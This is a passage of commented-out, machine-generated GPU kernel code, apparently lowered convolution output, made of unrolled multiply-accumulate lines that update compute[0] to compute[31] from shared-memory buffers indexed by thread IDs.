# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 1)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 1)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 1)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 10)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 1)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 19)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 1)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 28)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 2)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 2)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 2)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 11)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 2)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 20)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 2)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 29)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 3)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 12)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 21)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 30)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 4)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 13)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 22)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 19)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 31)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 5)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 14)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 23)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 20)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 32)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 162)]*placeholder.shared[((threadIdx.z*36) + 6)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 162)]*placeholder.shared[((threadIdx.z*36) + 15)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 162)]*placeholder.shared[((threadIdx.z*36) + 24)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 144)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 162)]*placeholder.shared[((threadIdx.z*36) + 33)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 163)]*placeholder.shared[((threadIdx.z*36) + 7)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 163)]*placeholder.shared[((threadIdx.z*36) + 16)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 163)]*placeholder.shared[((threadIdx.z*36) + 25)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 37)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 55)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 73)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 91)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 109)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 127)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 145)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 163)]*placeholder.shared[((threadIdx.z*36) + 34)]))
# compute[0] = (compute[0] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 8)]))
